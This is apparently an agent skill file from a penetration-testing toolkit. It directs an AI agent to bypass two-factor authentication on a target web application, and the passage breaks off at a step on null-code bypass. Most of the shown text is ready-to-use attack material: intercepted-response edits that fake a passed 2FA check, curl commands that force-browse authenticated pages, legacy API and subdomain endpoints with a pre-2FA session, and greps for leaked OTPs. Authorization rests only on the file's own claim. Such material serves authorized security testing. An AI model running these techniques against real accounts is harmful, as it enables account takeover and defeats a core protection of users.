/2fa-bypass

name: 2fa-bypass
description: >
  Bypass two-factor authentication (2FA/MFA) during authorized penetration
  testing.
keywords:
  - 2fa bypass
  - mfa bypass
  - two-factor bypass
  - otp bypass
  - otp brute force
  - 2fa brute force
  - totp bypass
  - sms bypass
  - backup code brute force
  - 2fa response manipulation
  - skip 2fa
  - bypass mfa
  - second factor bypass
  - authentication bypass 2fa
  - the user has found an application with 2FA and wants to test for bypass techniques
tools:
  - burpsuite (Turbo Intruder)
  - curl
  - python scripts
opsec: medium

2FA / MFA Bypass

You are helping a penetration tester bypass two-factor authentication. The target application requires a second factor (SMS code, TOTP, email code, or backup code) after password authentication. The goal is to access accounts without providing a valid second factor. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[2fa-bypass] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Web Interaction

2FA bypass testing involves multi-step form progression — **browser tools handle the login → 2FA flow naturally**.

• **`browser_fill`** / **`browser_click`** for login form → 2FA code entry

progression (username/password first, then 2FA code field)

• **`browser_cookies`** for session state inspection between authentication

stages (pre-2FA vs post-2FA cookies)

• **`browser_evaluate`** to inspect client-side validation logic (e.g.,

`document.querySelector('form').onsubmit` to check for client-side OTP validation that can be bypassed)

• **curl** for response manipulation, direct navigation bypass attempts, and

brute-force scripting

Prerequisites

• Valid credentials (username + password) for the target account
• The account has 2FA enabled (SMS, TOTP, email OTP, or backup codes)
• Burp Suite (to intercept and modify responses)
• Knowledge of the 2FA method and code format (4-digit, 6-digit, etc.)

Step 1: Assess

Identify the 2FA implementation details.

Map the 2FA Flow

1. Log in with valid credentials 2. Observe the 2FA prompt — what type of code is requested? 3. Note the endpoint: `/verify-2fa`, `/mfa/verify`, `/otp/check` 4. Submit a valid code and capture the request/response 5. Submit an invalid code and compare

Key Questions

• What is the code format? (4-digit, 6-digit, alphanumeric)
• Is there a rate limit on attempts?
• Does the code expire? How quickly?
• Can you request a new code? Does this invalidate the old one?
• Is there a "remember this device" option?
• Are backup codes available? What format?
• Are there alternative auth methods (OAuth, SSO, API)?

Step 2: Response Manipulation

Test if 2FA validation is only enforced client-side.

Status Code Change

Intercept the 2FA verification response in Burp:

# Failed 2FA response
HTTP/1.1 403 Forbidden
{"success": false, "error": "Invalid code"}

# Modify to:
HTTP/1.1 200 OK
{"success": true}

If the application redirects to the dashboard → 2FA is client-side only.

Response Body Manipulation

// Original (failed)
{"authenticated": false, "mfa_verified": false}

// Modified
{"authenticated": true, "mfa_verified": true}

Redirect Manipulation

# Failed response redirects back to 2FA page
HTTP/1.1 302 Found
Location: /2fa/verify?error=invalid

# Modify redirect to authenticated page
HTTP/1.1 302 Found
Location: /dashboard

OTP in Response

Check if the OTP appears in the response body, headers, or JavaScript:

# Check response for OTP hints
curl -s -X POST "https://TARGET/send-otp" \
  -H "Cookie: session=VALID_SESSION" \
  -d "method=sms" | grep -iE "otp|code|token|verify"

# Check JavaScript files for hardcoded codes
curl -s "https://TARGET/static/app.js" | grep -iE "otp|code.*=.*[0-9]"

Step 3: Direct Navigation Bypass

Skip the 2FA page entirely by navigating directly to authenticated pages.

Force Browse

After entering valid credentials (before completing 2FA):

# Try accessing authenticated endpoints directly
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/dashboard"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/api/user/profile"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/account/settings"

If any return authenticated content → 2FA is not enforced on that endpoint.

API Version Bypass

# Web enforces 2FA, but older API versions might not
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/api/v1/user/profile"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/api/v2/user/profile"

# Mobile API endpoints
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/mobile/api/user/profile"

Subdomain Bypass

# Different subdomains may not enforce 2FA
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://api.TARGET/user/profile"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://old.TARGET/dashboard"

Step 4: Null/Empty Code Bypass

Submit n